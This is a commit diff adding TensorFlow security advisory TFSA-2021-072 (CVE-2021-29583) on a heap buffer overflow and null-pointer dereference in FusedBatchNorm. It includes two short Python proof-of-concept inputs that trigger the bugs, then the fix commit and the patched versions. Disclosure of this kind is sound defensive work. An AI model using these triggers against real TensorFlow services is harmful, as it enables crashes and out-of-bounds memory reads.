chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-072.md

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+## TFSA-2021-072: Heap buffer overflow and undefined behavior in `FusedBatchNorm`
+
+### CVE Number
+CVE-2021-29583
+
+### Impact
+The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer
+overflow:
+
+```python
+import tensorflow as tf
+
+x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
+scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
+offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
+mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
+variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
+epsilon = 0.0
+exponential_avg_factor = 0.0
+data_format = "NHWC"
+is_training = False
+
+tf.raw_ops.FusedBatchNorm(
+  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
+  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
+  data_format=data_format, is_training=is_training)
+```
+
+If the tensors are empty, the same implementation can trigger undefined behavior
+by dereferencing null pointers:
+
+```python
+import tensorflow as tf
+import numpy as np
+
+x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
+scale = tf.constant([], shape=[0], dtype=tf.float32)
+offset = tf.constant([], shape=[0], dtype=tf.float32)
+mean = tf.constant([], shape=[0], dtype=tf.float32)
+variance = tf.constant([], shape=[0], dtype=tf.float32)
+epsilon = 0.0
+exponential_avg_factor = 0.0
+data_format = "NHWC"
+is_training = False
+
+tf.raw_ops.FusedBatchNorm(
+  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
+  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
+  data_format=data_format, is_training=is_training)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc)
+fails to validate that `scale`, `offset`, `mean` and `variance` (the last two
+only when required) all have the same number of elements as the number of
+channels of `x`. This results in heap out of bounds reads when the buffers
+backing these tensors are indexed past their boundary.
+
+If the tensors are empty, the validation mentioned in the above paragraph would
+also trigger and prevent the undefined behavior.
+
+### Patches
+We have patched the issue in GitHub commit
+[6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
+X-Team.